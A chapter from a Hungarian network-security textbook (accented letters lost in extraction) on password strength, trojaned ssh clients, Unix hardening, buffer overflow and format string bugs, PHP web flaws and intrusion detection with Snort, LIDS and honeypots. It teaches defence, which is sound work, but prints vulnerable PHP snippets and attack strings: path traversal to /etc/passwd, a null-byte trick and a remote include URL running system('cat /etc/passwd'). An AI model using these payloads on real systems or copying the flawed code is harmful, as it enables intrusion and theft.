Milyen tulajdonsgokkal kell rendelkeznie egy megfelel jelsznak?


legalbb 8 karakter tartalmaz kis- s nagybett, szmot, esetleg metakaraktert is sztrban nem megtallhat (s nem is sztri sz kiegsztse szmmal)

Egy hasznos mdszer lehet, ha a jelszt knnyen megjegyezhet mondatbl kpezzk. Pldul: a Tegnap dolgoztam s nagyon jl ment.

Biztonsgi rsek kihasznlsa

119

mondatrl esznkbe jut a TdEnJm_4 jelsz. Ennek a generlsra ma nem tudnak a jelsz tr programok hatkony algoritmust. A teljes kulcstr bejrsa (pl. 8 karakter esetn) megfelelen felkszlt titkosszolglatok szmra lehetsges, script kiddie-k szmra ma mg nem. Ha valaki rendszergazdaknt ellenrizni szeretn, hogy a felhasznli betartjk-e az alapvet jelszvlasztsi szablyokat, akkor pl. a John the Ripper (http://www.openwall.com/john/) nev jelsztrvel knnyedn megteheti ezt. Szintn az Openwall projekt honlapjn tallhat hozz megfelel szlistt is tbb mint 20 nyelv szavaival, szerepel kztk a magyar is, a 40MB-os 4 milli bejegyzst tartalmaz verzi ingyenesen letlthet: http://www.openwall.com/wordlists/.

8.2.

Mirt nem szabad vakon bzni a titkostott kapcsolatokban?


veszlyezteti azt! Mirt? Mert az ssh parancsot

Ha egy felhasznl nem megbzhat gprl pl. ssh-val bejelentkezik a sajt gpre, ezzel lecserlhettk! Ehhez nem szksges nagy felkszltsg, csak elemi C programozsi ismeret s egy kis munka. A tmad hozzfr a forrshoz, megkeresi az a kdrszletet, ami a jelszt kezeli (pl. auth_passwd.c). Mivel a jelszt trol vltoz tartalmt hasznlat utn trlni szoktk, azaz tipikusan feltltik valamilyen karakterrel, elg megkeresi a memset() fggvnyt s el beszrni egy rvid kdrszletet, ami egy fjlba elmenti a jelszt. Ez nemcsak az ssh-ra hanem minden ms jelszt kezel kliens

120

Hlzatok biztonsga

programra is igaz. Egy rendszergazda (ignyes felhasznl) teht jobban teszi, ha nem lp be akrhonnan a gpre, csak olyan gprl, amiben megbzik. (Ha pldul valaki elutazik, ilyen megfontolsbl is hasznos lehet egy sajt notebookot magval vinni.) Megfelel jogosultsg birtokban a kiszolgl program (sshd s minden ms daemon) is lecserlhet olyanra, ami menti a jelszavakat! Rendszergazdaknt hogyan elzhetjk meg, illetve hogyan vehetjk szre a csert?

checksum ellenrz sszeg hasznlata s rendszeres ellenrzse segt szrevenni

immutable bit mdosthatatlansg belltsa: chattr +i <fjlnv> Vgrehajtshoz root jogosultsg szksges

strings parancs a programfjlban tallhat stringeket olvashat formban kirja. Ennek nyomn gyant foghatunk, hogy pl. /tmp/proba valsznleg nem volt az eredeti angol nyelv programban... De ha a tmad titkostst hasznl a fjlnvre, akkor nem segt.

naplfjlok figyelse: pl. az sshd-t mirt indtottk jra? fjlok dtumnak ellenrzse

Biztonsgi rsek kihasznlsa

121

A betrs szlels (intrusion detection) s betrs megelzs (intrusion prevention) tmakrkkel bvebben is foglalkozunk.

8.3.

UNIX vagy Linux szerver hibibl add betrsek

adminisztrlsi

8.3.1.

Tvolrl kihasznlhat hibk

Ezek a hibk azrt lehetnek nagyon veszlyesek, mert ha a tzfal valami oknl fogva nem nyjt kell vdelmet, akkor a tmadsok az Internet brmely rszrl jhetnek: nagyon nagy a potencilis tmadk szma. Hozzfrsek korltozsa, tzfal A hatrvdelem a tzfal feladata, de ezen tl a szerveren is megtehetk mg bizonyos belltsok.

csak azok frjenek hozz a szerverhez/szolgltatsokhoz, akiknek szl. Pldul ha az Egyetem hallgatinak szl, akkor nem felttlenl szksges, hogy klfldrl elrjk (az is megfontols krdse, hogy az Egyetemen kvlrl elrhet legyen-e).

legalbb egy csomagszr legyen fenn a szerveren. A hlzati betrsdetektl rendszeren (NIDS) tl a gpen is legyen egy HIDS (lsd ksbb).

122

Hlzatok biztonsga

Ide vagy ksbb kellene egy bra a NIDS/HIDS megvilgtsra! Felesleges szolgltatsok Bizonyos disztribcik felteleptsekor j nhny szolgltats azonnal elrhetv vlik. A felesleges, rendesen be nem konfigurlt, nem gondozott szolglatatsok igen jelents kockzati tnyezk! gyeljnk arra, hogy csak a szksges szolglatatsokat nyjtsuk! Ennek rdekben:

Minimalizljuk a nyitott portokat! A felesleges csomagokat vegyk le!

Frisstsek

Ksrjk

figyelemmel

az

opercis

rendszer

az

egyes

szolgltatsokat nyjt programok (biztonsgi) frisstseit (s publiklt biztonsgi rseit). Ez komoly szempont lehet egy ksbbi rendszernl a kivlasztshoz!

A biztonsgi frisstseket ltalban fel kell tenni, az egyb frisstsek esetn (klnsen ha a hasznlt disztribci biztonsgi szintje nem ppen kivl) clszer lehet megvrni, amg a megjelennek hozz a biztonsgi frisstsek.

Protokoll hibk A TCP/IP protokollcsald (IP, TCP, UDP, ICMP, ) implementcija tartalmazhat hibkat. Ezek kihasznlsra az Interneten kellen sok exploit

Biztonsgi rsek kihasznlsa

123

van. Itt is rdemes mindent tiltani, amire nincs szksg. Pldul ha nincs szksgnk r, hogy a szerver pingelhet legyen, akkor tilthatjuk az echo request s echo reply ICMP zeneteket s ezzel egyben vdekeztnk a ping flood tmads ellen is. Mellesleg az ICMP protokoll klnbz fajta zeneteinek tengedse azrt is veszlyforrs, mert a tmad kommunikcis csatornaknt hasznlhatja. Ezen tl a klnbz alkalmazsok protokolljainak implementcija is bsgesen tartalmazhat biztonsgi rseket. Ezek kzl a webhez kapcsoldakkal kln foglalkozunk. 8.3.2. Helyi biztonsgi krdsek

Fjlrendszer

A lehet legkemnyebb legyen. Minl kevesebb program rendelkezzen suid/sgid bittel. Amely partciknl megtehet, "nosuid,noexec,ro" opcikkal mountoljuk fel!

(A tmt korbban rszletesen trgyaltuk.) Felhasznlk

Kifejezetten erre a clra sznt szerveren legyenek

124

Hlzatok biztonsga Csak akkor legyen interaktv shell-jk, ha szksges (pl. levelez szerver esetn ltalban elg, ha POP3 vagy IMAP4 protokoll segtsgvel letltik a leveleiket, illetve lehet egy pine vagy mutt a shell-jk).

Kevs privilegizlt felhasznl legyen. Ne ismerje a root jelszt, ne legyen 0-s uid-je, akinek nincs r felttlenl szksge.

NE hasznljk ugyan azt a jelszt tbb gpen!

Jelszavak A jelszavak helyes megvlasztsval mr foglalkoztunk. Fontos a jelszavak rendszeres cserje ez kiknyszerthet, ha a jelsz lejr. Kznsges felhasznlknak 5-6 havonta, privilegizlt felhasznlknak 2-3 havonta ajnlott a jelszcsere. Fejleszti krnyezet Ne legyen fenn, ha nem felttlenl szksges, illetve ne tudja futtatni, akinek nincs r szksge. Jogosultsgok, felhasznli hozzfrsek

Felhasznli jogosultsgok helyes belltsa, ahhoz frhessenek hozz, amire szksgk van.

Egyms knyvtrait jobb, ha nem olvashatjk ez persze fgg a szervezet cljtl. Adatcserre ekkor is egyszeren hasznlhatjk pl. a /tmp knyvtrat.

Biztonsgi rsek kihasznlsa

125

Fontos a klnbz konfigurcis fjlok jogosultsgainak helyes belltsa, a felhasznlk ne is olvashassk jelszavakat is tartalmazhatnak!

A naplfjlokat rendszeresen elemezzk sok program van, ami segti az elemzsket.

8.4.

Programozi hibk

Az Interneten tallhat programokat, st mg a klnbz UNIX/Linux disztribcikban szereplket is ersen eltr tudsszint emberek rtk. Radsul egy rszk elbb sajt hasznlatra kszl, majd ksbb kzztettk. A programok tervezse (ha volt ilyen) s megrsa idejn a biztonsg szempontknt esetleg fel sem merlt. Pldaknt lssunk nhny tipikus, jl ismert, mgis gyakran elkvetett hibt. 8.4.1. Krnyezeti vltoz hibs hasznlata

A strings parancs segtsgvel ki lehet ratni egy binris llomnyban szerepl stringeket. Tekintsnk egy suid root-os programot. Ha ez a program elindt egy krnyezeti vltozban megadott nev helyrl egy msik programot, akkor a tmad a krnyezeti vltozt a sajt programjra tlltva elindtja a suid root-os programot, ami elindtja a tmad sajt programjt, ami rkli a suid root jogot.

126 8.4.2.

Hlzatok biztonsga A /tmp knyvtr hibs hasznlata: symlink attack

Ha egy program a /tmp knyvtrban (vagy egyb brki ltal rhat knyvtrban) hoz ltre ismert (vagy megjsolhat nev) fjlt akkor a tmad mr elre ltrehozhat egy azonos nev szimbolikus linket, amivel a sajt tulajdonban lev fjlra mutat ezt a tmadst symlink attack-nak is nevezik. A biztonsgi kockzat abban van, hogy a tmad gy kpes azt az ideiglenes fjlt rni s olvasni, amihez egybknt nem szabadna hozzfrnie. 8.4.3. Puffer tlcsordulson alapul tmads: buffer overflow attack

A legtbb alkalmazsnak szksge van valamilyen bemenetre. Az alkalmazsaink nagy rsze C nyelven kszlt. A bemenet beolvassa valamilyen erre a clra sznt munkaterleten (puffer) keresztl trtnik. A puffer hosszt a programozk gy szoktk megvlasztani, hogy az a feladat szempontjbl rtelmesen hasznlhat leghosszabb bemenet esetn is elg legyen. (Pldul az egyik programoz gy rzi, hogy 100 karakter biztosan elg lesz egy e-mail cmnek.) A puffert ltalban a tbbi vltoz kztt a veremterleten (stack), esetleg a dinamikusan lefoglalhat memriaterleten (heap) hozzk ltre. Helyes programozsi gyakorlat esetn gyelnek arra, hogy a puffer hosszt a beolvasott adatok ne haladhassk meg. (Ezen tl a bemen adatok tpust, rtkt is vizsgljk, egy programnak nem megfelel bemenet esetn sem szabad fejre llnia, hanem a hibnak megfelel hibajelzst kell adnia.) Ha a programoz elkveti azt a hibt, hogy a bemenet hosszt nem ellenrzi, akkor ezt a

Biztonsgi rsek kihasznlsa

127

tmad kihasznlhatja. Gondatlan beolvass esetn puffer hosszt meghalad adatrsz is bekerl a puffer utn kvetkez memria terletre: puffer tlcsorduls jn ltre. A tmad a program forrsnak ismeretben (esetleg anlkl is) kpes lehet a puffer tlcsordulst a sajt cljaira kihasznlni. Tekintsk azt az esetet, amikor a puffer a veremben van. Ha utna ms vltozk helyezkednek el, akkor a tmad megfelel inputtal ezeket az ltala kvnt rtkre llthatja, amit adott esetben sajt cljainak megvalstsra kihasznlhat. De mg tbb lehetsge is van. Mivel az egyes fggvnyek a visszatrsi cmket a veremben troljk, ezrt a puffer tlcsordulssal ezt is kpes a tmad megvltoztatni. A vezrls megszerzsnek elvi menete most mr egyszer: a tmad az ltala futtatni kvnt kdot mint bemenetet bejuttatja a pufferbe, annak cmt pedig a puffer utni verem rszbe, ahol az ppen fut fggvny visszatrsi rtke tallhat. Amikor a fggvny vgrehajtja a visszatrst, a vezrls rkerl a tmad ltal bejuttatott kdra. Persze meg kell oldania nhny feladatot: elkszteni az adott processzor gpi nyelvn a binris kdot, megbecslni, hogy a puffer milyen cmre kerl, stb. A megolds mlyebb trgyalsval most nem foglalkozunk, a tmads megvalstst Pnczl Zoltn bemutatta. rdekldknek javaslom a kvetkez rszletes lerst:

http://www.linuxjournal.com/article/6701. A cikk helyesen mutatja be a program ltal hasznlt memriaterletek felptst is (ami segti a tmads megrtst). Megmutatja a vdekezs mdszereit is. A tmadst (termszetesen csak tanuls cljbl) kiprblni szndkozknak hasznos

128 lehet a cikk referencii

Hlzatok biztonsga kzl az els:

http://destroy.net/machines/security/P49-14-Aleph-One. kiosztst bemutat rsze, viszont van egy

Ennek sajnos fordtsa:

elnagyolt (br a tmads megrtshez elg) a processzek memria magyar http://www.freeweb.hu/lezli/stuffz/overflow.txt (Ha valakinek trdels nlkl jelenik meg a bngszjben, akkor mentse el a fjt s gy nzze meg UNIX-os sorvg jeleket tartalmaz.) A fentiek elkszlte utn akadtam r egy igen kivl magyar nyelv anyagra, amely mg a megrtshez szksges alapismereteket is bemutatja: http://www.saveas.hu/documents/publications/overflow-20020301.pdf 8.4.4. A C nyelv hibs kirson alapul tmads: format string attack

Taln meglep, de nemcsak a beolvass, hanem is kirs okozhat biztonsgi rst. Ennek oka a C nyelv nem szigoran tpusos volta s a nyelv ltal nyjtott lehetsg arra, hogy egy fggvnynek vltoz szm argumentuma lehessen, amit a pl. printf fggvny is hasznl. C nyelven egy string kirsnak a helyes mdja a kvetkez:
printf("%s", puffer); vltozban van // ahol a string a puffer nev

Viszont a programozk hajlamosak a formtum string elhagysra. Hiszen a formtum string nem specilis karaktereket tartalmaz rszeit a printf fggvny vltoztats nlkl kirja, gy ha a formtum string helyre rjuk a

Biztonsgi rsek kihasznlsa

129

puffer nev vltozt, akkor a programoz vrakozsa szerint annak tartalmt fogja a program kirni:
printf(puffer); biztonsgi rs! // HIBA: a formtum string elhagysa

Amennyiben a puffer tartalma nem konstans, hanem fgg a program bemenettl, s a tmad kpes azt befolysolni, akkor megteheti pldul, hogy a puffer elejre elhelyez egy tpuskaraktert (pl. %s vagy %x) s kiratja valamely memriaterlet tartalmt. Mr ez is nagyon veszlyes lehet, de mg ennl is tbb lehetsge van a %n hasznlatval: ez ugyanis azt jelenti a printf szmra, hogy a kirand karakterek szmt rja be egy vltozba, ami majd a formtum string utn kvetkezik (a megfelel sorszm pozciban attl fggen, hogy eltte volt-e mg ms tpuskarakter, amihez vltoz tartozik). Ezzel a tmad gyakorlatilag tetszleges memriacmre tetszleges rtket tud bevinni, ami lehetsget ad a szmra, hogy tvegye a program felett az uralmat! Rszletesebb lers tallhat: http://www.lava.net/~newsham/format-string-attacks.pdf.

8.5.

Webes biztonsgi rsek

A web az egyik legnpszerbb internet felhasznls. Mr alacsony tudsszint felhasznlk is kszthetnek maguknak sajt honlapot valamilyen HTML szerkeszt segtsgvel, st forrsnyelven sem okoz komoly nehzsget nhny statikus weboldal elksztse. Aki ennl tbbre vgyik szintn tall magnak kezdknek szl knyveket, amibl megtanulhatja a dinamikus weboldalak szerkesztsnek alapelemeit. Az

130

Hlzatok biztonsga

alapvet internetes biztonsgi ismeretek hinyban ezektl a kezdktl nem is nagyon vrhat el, hogy a biztonsggal egyltaln foglalkozzanak. Ilyenkor a rendszergazda feladata, hogy a szerver biztonsgt mgis megfelel szinten tartsa. Sajnlatos mdon szmtstechnikai szakemberek is gyakran ksztenek pusztn a mkdsre s a hatridre koncentrlva biztonsgi rsektl hemzseg oldalakat! Ebben az esetben viszont mr komoly szemlletvltsra s a webes biztonsgi alapismeretek megtanulsra van szksg! A webes biztonsgi rsek tbbsge az albbi okokra vezethet vissza:

nagy, sszetett rendszerek nem ellenrztt bemenet nem megfelel jogosultsgok biztonsg alapvet hinya

Most nhny pldt fogunk megnzni arra, hogy milyen knny webes biztonsgi rseket ltrehozni, s arra is, hogy megfelel krltekintssel hogyan lehet elkerlni ket. A pldk PHP nyelvek s ltalban nmagukrt beszlnek, de rdekldknek ajnljuk a http://www.php.net/manual/hu/ webcmen tallhat magyar nyelv PHP kziknyvet. A PHP a szerver oldali webprogramozs nagyon hatkony eszkze, a HTML forrsba begyazva lehetv teszi a szerveren fjlok elrst, parancsok vgrehajtst, hlzati

Biztonsgi rsek kihasznlsa

131

kapcsolatok nyitst. Ezek a lehetsgei nem megfelel hasznlat esetn slyos biztonsgi rseket okozhatnak. A nyelv egybknt taln a legjobb vlaszts dinamikus weblapok ltrehozsra, s megfelel szakrtelemmel biztonsgosan hasznlhat! A biztonsgi krdsekrl is olvashatunk a fenti weblapon: http://www.php.net/manual/hu/security.php. 8.5.1. Fjlnv hasznlatban ered biztonsgi rsek

Alap plda Kiindulsknt tekintsnk egy egyszer pldt. Egy weblap esetn az URL tartalmazza a megnyitni kvnt fjl nevt a kvetkez mdon:
www.akarmi.hu/index.php?fajl=adatok.txt

A forrsban pedig a kvetkezkppen trtnik a fjl megnyitsa:


<?php ... $handle=fopen($HTTP_GET_VARS['fajl'],"r"); ... ?>

Ebben az esetben semmi akadlya annak, hogy a tmad az adatok.txt helyett a /etc/passwd fjlnevet adja meg! Mirt olyan nagy baj ez? Mr az is komoly informci a tmad szmra, hogy milyen nev felhasznlk vannak a szerveren. Ezen kvl mg kiderlhetnek egyb hibk is, pl. adott nev felhasznlnak 0-s uid-je van... St rgebbi vagy rosszul adminisztrlt rendszerek a kdolt jelszavakat is ebben a mindenki ltal olvashat fjlban troljk (pl. HP-UNIX is, ha a shadowpasswd csomagot nem tettk fel). Termszetesen sok ms

132

Hlzatok biztonsga

konfigurcis fjl ilyen mdon trtn olvashatsga is komoly kockzatot jelent! Javtsi ksrletek Prbljunk javtani a helyzeten! Els tletknt tegyk a fjl neve el a knyvtr tvonalt:
$file='/var/www/'.$HTTP_GET_VARS['fajl']; $handle=fopen($file,"r");

Ezt a tmad knnyen megkerlheti a kvetkezkppen:


www.akarmi.hu/index.php?fajl=../../etc/passwd

Msodik tletknt szrjk ki a '../' karaktersorozatot! Ez sem okoz azonban komoly gondot a tmadnak: a szrs esetn a '.../...//' sorozatbl ppen elll a '../' sorozat. Megoldst jelenthet a teljes meta karakter kszlet szrse. Null bjt hasznlata Tegyk fel, hogy gy prblunk vdekezni a tmad ellen, hogy csak meghatrozott vgzds (DOS, Windows esetn kiterjesztsnek hvjk) fjlokat engednk megnyitni. Ezt pedig gy szeretnnk elrni, hogy mi fzzk hozz a vgzdst:
<?php $file = $HTTP_GET_VARS['fajl']; $file = $file.'.txt'; $handle=fopen($file, 'r'); ... ?>

A tmad mgis kpes pl. az index.php fjlt megszerezni az albbi trkkel:

Biztonsgi rsek kihasznlsa


www.valami.hu/index.php?fajl=index.php%00

133

Mirt? Mert mi ugyan hozzfzzk a ".txt" vgzdst, de a NULL bjt miatt a stringnek a fjlnv szempontjbl az index.php utn vge van! Lsd C nyelv. Tancs: troljuk kln knyvtrban a hozzfrhetnek s a nem hozzfrhetnek sznt fjlokat. A hozzfrhetnek sznt knyvtrakon kvl minden ms knyvtrhoz val hozzfrst belltsokkal kell megakadlyozni. Az open_basedir direktvval megadhatjuk (vesszvel elvlasztva tbbet is), hogy mely knyvtrakban lev fjlokat lehet PHPbl megnyitni, minden mst tilos. Bvebben: http://www.php.net/manual/hu/features.safe-mode.php#ini.open-basedir. Az Olvas joggal krdezheti: egyltaln mirt engedjk meg inputknt a fjlnv megadst? Valban, bizonyos esetekben sokkal egyszerbb, ha nem engedjk meg. Pldul ha egy ment ptnk, akkor az egyes menpontokhoz tartoz fjlok nevei helyett hasznljunk szmokat (amivel pl. indexelhetnk egy tmbt, ha szksges). gy nagyon egyszer lesz ellenrizni, hogy az adott szm a megengedett hatrok kztti-e. Vannak azonban olyan esetek, amikor szksges, hogy a felhasznlk kifejezetten fjlnevet adhassanak meg. Pldul ha webes felleten keresztl a sajt home knyvtrukban egy ltaluk megadott nev fjlt kvnnak ltrehozni. 8.5.2. Sajt script futtatsa

Az elzhz hasonlan ez a tmads is az ellenrizetlen bemeneten alapul. A problmt okoz parancs:

134
www.akarmi.hu/index.php?inc_text=oldal.php

Hlzatok biztonsga

A biztonsgi rs kihasznlshoz szksges:


egy szerver, amelyen nincs PHP futtatsi lehetsg sajt script, amit a tmad futtatni szeretne

Legyen a tmads:
www.akarmi.hu/index.php?inc_text=http://www.phpnelkuli.hu/sajat_script.php

Amennyiben a www.php-nelkuli.hu egy valdi webszerver, amin nincs PHP, a sajat_script.php a www.akarmi.hu-n fog lefutni. Egy apr plda:
<?php system(cat /etc/passwd); ?>

A tmad megfelel exploitokkal akr root szintre is tudja trni a rendszert. A vdekezs mdja ismt csak a bemenet ellenrzse, a "http://" string, illetve a teljes meta karakter kszlet kiszrse. KRDS: MILYEN KDNAK KELL LENNIE a www.akarmi.hu-n aminek a hatsra feldolgozdik? Vajon include(); fggvnynek??? A fenti nhny plda clja csak az volt, hogy ha valaki dinamikus weboldalakat akar kszteni, akkor gondoljon a biztonsgra! Termszetesen

Biztonsgi rsek kihasznlsa

135

nem csupn a bemutatott nhny tmads ellen kell vdekezni! Megfelel alapismeretek nlkl ne ksztsnk les zemre sznt dinamikus weblapot!

Behatols szlels, megelzs

137

9. Behatols szlels, megelzs


A leggondosabban adminisztrlt szerver vagy tzfal esetn is nagy hiba volna azt gondolni, hogy most mr hozznk gysem tudnak betrni! St, szmtani, kszlni kell a tmadsokra. Hogyan vehetjk szre, ha betrtek hozznk? St, hogyan figyelhetnk fel mr a prblkozsokra? Mit tegynk, ha megtmadtak bennnket, esetleg mr be is trtek? Hogyan hasznlhatjuk fel a rendszernk elleni tmads szlelst s a tmadsrl szerzett ismereteket a betrs megelzsre? Ebbe tmakrbe fogunk most betekinteni.

9.1.
9.1.1.

Behatols szlelse s kezelse


Naplk rendszeres figyelse

Egy rendszergazdnak ktelessge, hogy rendszeresen figyelemmel ksrje a naplzott esemnyeket. A naplk figyelse a rendszer mkdsi rendellenessgeire is rvilgt. Termszetesen a naplkat tbb szempontbl is elemezzk, most a biztonsg szempontjbl rdekes bejegyzsek rdekelnek bennnket. A Linuxban lehetsgnk van pldul arra, hogy belltsuk a hlzati furcsasgok, gyans dolgok naplzst, ehhez 4-es verzij IP protokoll esetn a /proc/sys/net/ipv4/conf/all/log_martians fjlba kell az alaprtelmezett 0 helyett 1-t rnunk.

138

Hlzatok biztonsga

A naplk elemzse sorn azok mrete miatt sok esetben clszer feldolgoz programokat hasznlni, szrseket vgezni. Azonban legynk vatosak, mert ha csak bizonyos tpus tmadsokra szmtunk s csak az ezek szempontjbl rdekes bejegyzsekre szrnk, s nem nznk bele a nyers naplfjlokba, akkor knnyen elkerlhetik a figyelmnket olyan jelek, amik egybknt rulkodnnak... MIK AZOK, AMIKRE FIGYELJNK FEL? 9.1.2. Betrs gyanja esetn

Amennyiben gyans esemnnyel tallkozunk, vgig kell gondolni, hogy mi llhat mgtte, s milyen szint veszlyt jelent ez a rendszer szmra. A tmad kiltnek a kidertse cljbl hagyhatjuk-e a dolgot (pl. ki trte fel tavaly vgzett hallgat krsre levelezs cljbl meghagyott, ersen korltozott accountjt) vagy azonnali beavatkozst ignyel (pl. a tmad root jogosultsgot szerzett, leFTPzte a /etc/shadow fjlt, trta a kezd weblapot, stb.). elzetesen Milyen lpseket kell megtennnk? Kvnatos, fontos (lert, kiprblt) intzkedsi tervek. A rendszereknl pedig ktelez, hogy legyenek klnbz szint betrsekre vgiggondolt rendszergazdnak elre tisztban kell lennie azzal, hogy milyen htrnnyal jr egy-egy szolgltats vagy a rendszer egsznek lelltsa. s milyen kvetkezmnyei lehetnek annak, ha ha pl. a munkaid vgig vagy a ht vgig vrunk a szerver lelltsval? A kvetkezmnyeket mindig az adott rendszer esetn kell mrlegelni.

Behatols szlels, megelzs 9.1.3. A helyrellts s a kvetkezmnyek felszmolsa

139

Ha van r lehetsgnk (pl. id, szabad mentsi kapacits) akkor a rendszert a hlzatrl levlasztva (erre a clra elre elksztett) tiszta eszkzrl indtva mentsnk el mindent! A ksbbiek sorn sok minden jl jhet mg, pldul:

a teljes rendszer a tmad mg el nem tntetett nyomaival a rendszerben lv naplfjlok (persze van kln naplszervernk is) az aktulis konfigurcis fjlok ha a szolgltatsok belltsakor gondjaink lennnek

felhasznlk adatai az utols ments ta vltozhattak

Ha a tmad root jogosultsgot szerzett, vagy ennek gyanja felmerl, akkor nem bzhatunk meg tovbb a rendszernkben, jra kell telepteni. (Pldul feltehetett egy rootkit-et, de az is elg, ha hagyott magnak nhny rejtekajtt.) konfigurcis visszamsolni!) A helyrelltsnak csak egy rsze a rendszer s az adatok visszatltse az utols mentsbl. Amg a betrst lehetv tev biztonsgi rst meg nem talltuk s meg nem szntettk, kockzatos dolog a rendszert jra zembe helyezni. (Persze adott krlmnyek kztt lehet, hogy meg kell tennnk, Az jratelepts szabad sorn termszetesen de nem minden szabad megbzhatatlannak tekintend, ami korbban a rendszerben volt. (gy pl. fjlokat tanulmnyozni,

140

Hlzatok biztonsga

de ez fokozott elvigyzatossgot ignyel, pl. nagyon gyakori mentsek, sokkal bvebb naplzs s tbb napltanulmnyozs...) A betrsrl rtesteni kell az rintetteket, s a veszlyekre val megfelel figyelmeztets mellett lehetv kell tenni a szmukra, hogy az utols mentsbl szrmaz adatokon tl hozzfrhessenek a betrskor mentett adatokhoz is. A betrs kvetkezmnyeinek elhrtsa azonban mg nem rt vget! Fel kell trni (akr a mentett feltrt rendszer tovbbi elemzsvel), hogy a tmadnak milyen adatok juthattak a birtokba. Pl. a /etc/shadow fjlban trolt egyirny fggvnnyel kdolt jelszavak, a rendszerben adott szolgltatsoknl esetleg nyltan trolt jelszavak, rzkeny konfigurcis fjlok, a felhasznlk titkos PKI kulcsai, egyb rzkeny informciik. Errl minden rintettet megfelelen (gy hogy meg is rtse) tjkoztatni kell. Amennyiben a felhasznlk jelszavai kompromittldhattak, j jelszavakat kell adni a szmukra. Ha ez nem lehetsges szemlyesen, akkor ellenrizni kell, hogy a kincstrilag kiosztott jelszavakat hatridre lecserltk-e.

9.2.

Automatikus behatols-szlels
A

Termszetesen lehetsg van arra, hogy a behatols szlelst bizonyos szinten automatizljuk, vagy legalbb programokkal tmogassuk. behatols rzkel rendszerek (Intrusion Detection System IDS) tipikusan ismert tmadsok alapjn kszlt mintk segtsgvel mkdnek.

Behatols szlels, megelzs

141

A minta persze ltalnostst hordozhat, pldul nem egy adott program, hanem ltalban programok egy kre ellen rzkel puffer tlcsordtsra utal jeleket mondjuk irrelisan hossz bemeneti adatot kap a program. A behatols rzkelknek kt csoportja van, a hlzati behatols rzkelk (NIDS Network Intrusion Detection System) a hlzati forgalmat figyelik, mg a host alapak (HIDS Host Intrusion Detection System) az adott gp knyvtrainak s fjljainak vltozst. 9.2.1. A Snort program

A Snort http://www.snort.org az els szm nylt forrs (GPL-es) hlzati behatols jelz/megelz program. (A behatols megelzs (IPS) divatos kifejezs, a tmval kln foglalkozunk, addig maradjunk a behatols szlels/jelzs tmnl.) A program kpes IP hlzaton vals idej forgalom analzisre s naplzsra. Kpes a protokollokat elemezni: egy specilis nyelven definilt szablyok alapjn mintkat keres, gy prbl felismerni klnbz tmadsokat s gyans vizsgldsokat (pldul puffer tlcsorduls, lopakod port scan, CGI tmadsok, SMB prbk, opercis rendszer tpusnak megllaptsra tett ksrletek). A Snort kpes vals idej riasztsra pldul egyttmkdve a syslog rendszerrel, vagy a felhasznl ltal definilt fjlba vagy UNIX socketbe r. (Mg WinPopup zeneteket is tud Windows klienseknek kldeni az smbclient segtsgvel). A Snort tbb clra is hasznlhat: egyszer snifferknt, mint a tcpdump, csomag naplzsra (pl. hlzati hibakeress), vagy IDS/IPS-knt is.

142

Hlzatok biztonsga

Olvassra javaslom az albbi BME-s mrsi utastst. Remlem, hogy a beugr nem okozna gondot a hallgatimnak! http://w3.tmit.bme.hu/labor/meresek/snortmeres/snortmeres.html 9.2.2. A LIDS kernel patch

A Linux Intrusion Detection System (GPL) http://www.lids.org/ egy Linux kernel patch, ami olyan biztonsgi elemeket hoz be a Linux kernelbe, amik eredetileg hinyoztak belle. Mieltt ezekre az elemekre rtrnnk tisztzni kell nhny fogalmat. A Linux (Unix) fjlrendszernek hozzfrs vdelme az n Discretionary Access Control (DAC) csaldba tartozik. Ennek az a jellemzje, hogy a fjl (knyvtr) tulajdonosa a sajt elhatrozsa szerint olyan jogokat ad (sajt magnak, a csoporttrsainak s a tbbieknek) amilyent akar. Ezzel szemben a Mandatory Access Control (MAC ne keverjk ssze az ugyan gy rvidtett Message Authenticaion Code-dal!) hasznlata esetn a tulajdonos nem bnhat tetszse szerint az ltala ltrehozott erforrsokkal. A rendszer biztonsgi szablyzata (security policy) teljes egszben meghatrozza az egyes erforrsokra adhat jogosultsgokat, s az erforrs tulajdonosa nem tud az elrtl kevsb megszort jogosultsgokat adni. (Pldul ha olvassi s vgrehajtsi jog adsa engedlyezett, akkor ezeket adhatja vagy megvonhatja de rsi jogot nem tud adni.) A MAC tma irnt rdekldknek ajnlott olvasmny tovbbi hivatkozsokkal: http://en.wikipedia.org/wiki/Mandatory_Access_Control

Behatols szlels, megelzs

143

A LIDS ltal bevezetett funkcik teht: ktelez hozzfrs vezrls (MAC), port scan rzkels, fjl vdelem (root-tl is!), processz vdelem. 9.2.3. Honeypot az ellensg megtvesztse

Az alaptlet nagyon egyszer. lltsunk csapdt a tmadnak! Tegynk ki el egy gpet amire nyugodtan betrhet, krt nem okoz vele, mi viszont leflelhetjk, megismerhetjk a mdszereit. Az tleten persze lehet egy kicsit finomtani. Ne legyen egy valdi gp, hanem inkbb egy program, ami gy tnik a szmra, mintha egy gp lenne klnbz szolgltatsokkal. Ezt hvjk honeypot-nak. A Honeyd (GPL) http://www.honeyd.org/ - egy Honeypot megvalsts. A honeyd egy virtulis gpet vagy inkbb lgp-et hoz ltre, persze nem gy, mint pl. a VMware, mert valjban nincs szksgnk egy teljes funkcionalits gpere, hanem csak annyi a clunk, hogy a hlzaton keresztl egy gpnek tnjn. Ezt az lgpet aztn be lehet konfigurlni, hogy milyen opercis rendszert s milyen szolgltatsokat imitljon. Honeyd-bl termszetesen egyszerre tbb is futhat egy valdi gpen amelyek mindegyike ms cmre hallgat ltrehozhatunk gy akr egy egsz szerverfarmot is. A mdszerrel persze csak a gyengbb tmadkat tudjuk hosszabb ideig tvedsben tartani! :-)

144

Hlzatok biztonsga

Hogyan jn r egy tmad, hogy becsaptk? Errl szl a kvetkez cikk (pl. mirl ismeri fel, hogy UML-lel vagy WMware-rel ll szemben): http://www.securityfocus.com/infocus/1826. 9.2.4. Tovbbi forrsok IDS tmban

A teljessg ignye nlkl felsorolsszeren megemltnk nhny behatolsszlel rendszert (vagy szolgltatst) s a tmval kapcsolatos rsokat. Aki valamelyik irnt mlyebben rdekldik, nzze meg a honlapjt!

Firestorm NIDS (GPL) http://www.scaramanga.co.uk/firestorm/ Errl a hlzati behatols rzkelrl a ksztje az lltja, hogy bizonyos krlmnyek kztt gyorsabb a Snort-nl...

AIDE (GPL) http://sourceforge.net/projects/aide Az Advanced Intrusion Detection Environment egy host alap behatols rzkel, sok Unix (szer) platformon alkalmazhat.

